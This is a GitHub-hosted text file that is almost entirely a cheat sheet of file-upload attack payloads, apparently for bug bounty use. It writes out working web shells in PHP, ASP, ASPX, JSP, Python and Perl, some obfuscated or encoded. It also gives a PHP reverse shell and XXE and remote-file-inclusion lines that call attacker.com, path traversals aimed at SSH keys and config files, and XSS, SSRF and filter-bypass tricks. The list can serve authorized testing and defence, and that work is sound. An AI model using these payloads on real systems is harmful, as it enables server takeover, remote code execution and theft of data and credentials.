-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathfile-upload-payloads.txt
More file actions
652 lines (525 loc) · 13.7 KB
/
Copy pathfile-upload-payloads.txt
File metadata and controls
652 lines (525 loc) · 13.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
# File Upload Vulnerability Payloads (2020-2025 Bug Bounty Tested)
# ============================
# FILE EXTENSION BYPASSES
# ============================
# Double Extensions
shell.php.jpg
shell.php.png
shell.php.gif
shell.php.pdf
shell.php.txt
shell.jpg.php
shell.png.php
exploit.asp.jpg
exploit.aspx.png
backdoor.jsp.gif
# Case Variations
shell.PHP
shell.PhP
shell.pHp
shell.Php
shell.PHp
shell.ASP
shell.ASPX
shell.AsP
shell.JSP
# Null Byte Injection (older systems)
shell.php%00.jpg
shell.php%00.png
shell.php\x00.jpg
shell.asp%00.gif
exploit.jsp%00.pdf
# Special Characters
shell.php.....
shell.php%20
shell.php%0a
shell.php%00
shell.php%0d%0a
shell.php::$DATA
shell.php::$INDEX_ALLOCATION
# Alternate Extensions (PHP)
shell.php3
shell.php4
shell.php5
shell.php7
shell.phtml
shell.phar
shell.phpt
shell.pgif
shell.pht
shell.inc
shell.hphp
shell.ctp
# Alternate Extensions (ASP/ASPX)
shell.asp
shell.aspx
shell.asa
shell.asax
shell.ascx
shell.ashx
shell.asmx
shell.cer
shell.config
shell.soap
shell.rem
# Alternate Extensions (JSP)
shell.jsp
shell.jspx
shell.jsw
shell.jsv
shell.jspf
# Other Language Extensions
shell.pl
shell.pm
shell.cgi
shell.py
shell.pyc
shell.rb
shell.rbw
shell.sh
shell.bash
# Executable Extensions
malware.exe
backdoor.bat
script.cmd
payload.ps1
reverse.sh
# Server Config Files
.htaccess
.htpasswd
web.config
httpd.conf
.user.ini
php.ini
# ============================
# CONTENT-TYPE BYPASSES
# ============================
# Common Content-Type Headers to Test:
# Legitimate looking but with malicious content
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
Content-Type: image/bmp
Content-Type: image/svg+xml
Content-Type: application/pdf
Content-Type: application/zip
Content-Type: text/plain
Content-Type: text/csv
Content-Type: application/octet-stream
Content-Type: video/mp4
Content-Type: audio/mpeg
# Empty or null
Content-Type:
Content-Type: null
Content-Type: undefined
# Malformed
Content-Type: image/jpeg; charset=binary
Content-Type: multipart/form-data; boundary=something
# ============================
# MAGIC BYTES (File Signatures)
# ============================
# PHP Web Shell with JPEG Header
FF D8 FF E0 (JPEG magic bytes)
<?php system($_GET['cmd']); ?>
# PHP Web Shell with PNG Header
89 50 4E 47 0D 0A 1A 0A (PNG magic bytes)
<?php system($_GET['cmd']); ?>
# PHP Web Shell with GIF Header
GIF89a
<?php system($_GET['cmd']); ?>
# PHP Web Shell with PDF Header
%PDF-1.4
<?php system($_GET['cmd']); ?>
# PHP Web Shell with ZIP Header
PK (ZIP magic bytes)
<?php system($_GET['cmd']); ?>
# ============================
# POLYGLOT FILES (Valid Image + Valid Code)
# ============================
# GIF + PHP Polyglot
GIF89a<?php system($_GET['cmd']); ?>
# JPEG + PHP Polyglot (with comment)
# Add PHP code in JPEG comment section
# Use exiftool: exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
# PNG + PHP Polyglot
# Use PNG ancillary chunks to hide PHP code
# BMP + PHP Polyglot
# BMP header followed by PHP code in pixel data
# ============================
# WEB SHELL PAYLOADS
# ============================
# === PHP Web Shells ===
# Simple PHP Shell
<?php system($_GET['cmd']); ?>
# PHP Shell with POST
<?php system($_POST['cmd']); ?>
# PHP Eval Shell
<?php eval($_REQUEST['cmd']); ?>
# PHP Passthru Shell
<?php passthru($_GET['cmd']); ?>
# PHP Exec Shell
<?php echo exec($_GET['cmd']); ?>
# PHP Shell_exec
<?php echo shell_exec($_GET['cmd']); ?>
# PHP Backdoor
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
# PHP File Manager Shell
<?php
if(isset($_GET['file'])){
echo file_get_contents($_GET['file']);
}
if(isset($_FILES['upload'])){
move_uploaded_file($_FILES['upload']['tmp_name'], $_FILES['upload']['name']);
}
?>
# PHP One-liner Shells
<?=`$_GET[x]`?>
<?=system($_GET[x]);?>
<?=shell_exec($_GET[x]);?>
<?=passthru($_GET[x]);?>
<?=exec($_GET[x]);?>
# Obfuscated PHP Shell
<?php $a=$_GET['a'];$b=$_GET['b'];$a($b);?>
<?php @eval($_POST['x']);?>
<?php @assert($_POST['x']);?>
<?php $f='sys'.'tem';$f($_GET['x']);?>
# PHP Reverse Shell
<?php
$sock=fsockopen("attacker.com",4444);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
# === ASP/ASPX Web Shells ===
# ASP Shell
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Response.Write(oScript.Exec("cmd /c " & Request.QueryString("cmd")).StdOut.ReadAll())
%>
# ASPX Shell
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e){
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request.QueryString["cmd"];
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.Start();
Response.Write(p.StandardOutput.ReadToEnd());
}
</script>
# ASPX One-liner
<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
# === JSP Web Shells ===
# JSP Shell
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
InputStream in = p.getInputStream();
int i;
while((i = in.read()) != -1) {
out.print((char)i);
}
%>
# JSP One-liner
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
# === Python Web Shell ===
#!/usr/bin/env python
import os
import cgi
form = cgi.FieldStorage()
cmd = form.getvalue('cmd')
os.system(cmd)
# === Perl Web Shell ===
#!/usr/bin/perl
use CGI;
$q = CGI->new;
print $q->header;
print `$q->param('cmd')`;
# ============================
# XSS VIA FILE UPLOAD
# ============================
# HTML File Upload
<html>
<body>
<script>alert(document.cookie)</script>
</body>
</html>
# SVG File Upload with XSS
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
# SVG with XSS (onload)
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
# PDF with XSS (if rendered in browser)
%PDF-1.4
1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction << /S /JavaScript /JS (app.alert('XSS');) >>
>>
endobj
# XML with XSS
<?xml version="1.0"?>
<!DOCTYPE html [
<!ENTITY js "alert(document.domain)">
]>
<html>
<body>
<script>&js;</script>
</body>
</html>
# ============================
# XXE VIA FILE UPLOAD
# ============================
# SVG with XXE
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
# XML with XXE
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
# XXE - Parameter Entity
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo>&exfil;</foo>
# XXE - Blind OOB
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://attacker.com/xxe.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
# ============================
# PATH TRAVERSAL IN FILENAME
# ============================
# Directory Traversal
../../../etc/passwd
..\..\..\..\windows\system32\config\sam
....//....//....//etc/passwd
# Overwrite Important Files
../../../var/www/html/index.php
../../../.ssh/authorized_keys
../../config.php
../../../.htaccess
../../wp-config.php
# Filename with Path Traversal
../../../../tmp/shell.php
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
# ============================
# HTACCESS FILE UPLOAD
# ============================
# .htaccess to Execute PHP
AddType application/x-httpd-php .jpg
AddType application/x-httpd-php .png
AddType application/x-httpd-php .gif
# .htaccess to Execute All Files as PHP
AddType application/x-httpd-php .
SetHandler application/x-httpd-php
# .htaccess to Bypass Upload Restrictions
<FilesMatch "\.ph(p|tml)">
SetHandler application/x-httpd-php
</FilesMatch>
# ============================
# WEB.CONFIG FILE UPLOAD (IIS)
# ============================
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers>
<add name="PHP_via_FastCGI"
path="*.jpg"
verb="*"
modules="FastCgiModule"
scriptProcessor="C:\PHP\php-cgi.exe"
resourceType="Unspecified" />
</handlers>
</system.webServer>
</configuration>
# ============================
# ARCHIVE-BASED ATTACKS
# ============================
# ZIP Slip - Malicious Archive
# Create zip file with: ../../../../var/www/html/shell.php
# ZIP with Symlink
# ln -s /etc/passwd passwd.txt
# zip --symlinks payload.zip passwd.txt
# TAR with Path Traversal
# tar -cf payload.tar ../../../../var/www/html/shell.php
# Zip Bomb (DoS)
# Create highly compressed file that expands to huge size
# ============================
# IMAGE METADATA INJECTION
# ============================
# EXIF Data with XSS (if displayed)
exiftool -Comment='<script>alert(1)</script>' image.jpg
# EXIF Data with PHP Code
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
# IPTC Data Injection
exiftool -IPTC:Caption-Abstract='<?php eval($_POST["x"]); ?>' image.jpg
# ============================
# SERVER-SPECIFIC BYPASSES
# ============================
# Apache
shell.php.jpg (with .htaccess: AddType application/x-httpd-php .jpg)
.htaccess file to execute images as PHP
# IIS
shell.asp;.jpg
shell.asp:.jpg
web.config to execute images as ASP
# Nginx
shell.php%00.jpg (older versions)
Upload to misconfigured alias/location
# Tomcat
shell.jsp%00.jpg
shell.jspx
# ============================
# RACE CONDITION FILE UPLOAD
# ============================
# RACE CONDITION FILE UPLOAD
# ============================
# Upload file quickly and access before validation/deletion
# Technique: Concurrent upload and access requests
# Example: Upload shell.php and immediately request http://target.com/uploads/shell.php
# Use tools like Burp Suite Turbo Intruder or custom scripts to send simultaneous requests
# ============================
# FILE UPLOAD WITH SIZE BYPASS
# ============================
# Small malicious file
<?=`$_GET[0]`?>
# Compressed PHP shell
<?=`{$_GET[0]}`;
# ============================
# MIME TYPE CONFUSION
# ============================
# Upload with different MIME types
Content-Type: application/x-php
Content-Type: application/x-httpd-php
Content-Type: application/php
Content-Type: text/php
Content-Type: text/x-php
# ============================
# POLYGLOT FILES FOR MULTIPLE FORMATS
# ============================
# JPEG + JAR Polyglot (for Java apps)
# Valid JPEG and valid JAR simultaneously
# PDF + HTML Polyglot
%PDF-1.4
<html><script>alert(1)</script></html>
# GIF + JavaScript
GIF89a/*<?php
<script>alert(1)</script>
<?php */;
# ============================
# MODERN BYPASS TECHNIQUES (2023-2025)
# ============================
# Unicode Normalization
shell.php%E2%80%AE.jpg (Right-to-Left Override)
shellgpj.php (RLO character)
# Homoglyph Attacks
shell.рhр (Cyrillic р instead of Latin p)
shell.рhр
# UTF-8 BOM
<?php system($_GET['cmd']); ?>
# Long Filename DoS
# Create extremely long filename to bypass validation
# Multiple Content-Disposition
Content-Disposition: form-data; name="file"; filename="safe.jpg"
Content-Disposition: form-data; name="file"; filename="shell.php"
# Null Session (Windows)
\\127.0.0.1\c$\inetpub\wwwroot\shell.php
# Case Sensitivity Issues
ShElL.PhP
SHELL.php
Shell.PHP
# ============================
# FRAMEWORK-SPECIFIC BYPASSES
# ============================
# WordPress
wp-content/uploads/shell.php
wp-content/themes/shell.php
wp-content/plugins/shell.php
# Drupal
sites/default/files/shell.php
# Joomla
media/shell.php
images/shell.php
# Laravel
storage/app/shell.php
public/uploads/shell.php
# Django
media/uploads/shell.py
# ============================
# REMOTE FILE INCLUSION VIA UPLOAD
# ============================
# Upload file containing:
<?php include($_GET['file']); ?>
<?php require($_GET['file']); ?>
<?php include_once($_GET['file']); ?>
# Then access with:
?file=http://attacker.com/shell.txt
?file=php://input (with POST data containing PHP code)
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
# ============================
# FILE UPLOAD WITH SSRF
# ============================
# Upload file that triggers SSRF
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://internal-server/admin"/>
</svg>
# ============================
# DESERIALIZATION VIA FILE UPLOAD
# ============================
# PHP Phar Deserialization
# Upload malicious .phar file
# Trigger via: file_get_contents('phar://uploads/payload.phar/test.txt')
# Java Deserialization
# Upload serialized Java object
# Trigger if application deserializes uploaded files
# ============================
# EICAR TEST FILE (AV Bypass Testing)
# ============================
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
# ============================
# BINARY PAYLOAD ENCODINGS
# ============================
# Base64 Encoded Shell
<?php eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7")); ?>
# Hex Encoded
<?php eval(hex2bin("73797374656d28245f4745545b27636d64275d293b")); ?>
# ROT13
<?php eval(str_rot13("flfgrz($_TRG['pzq']);")); ?>
# ============================
# ALTERNATIVE DATA STREAMS (Windows/NTFS)
# ============================
shell.php::$DATA
shell.asp::$DATA
payload.txt:hidden.php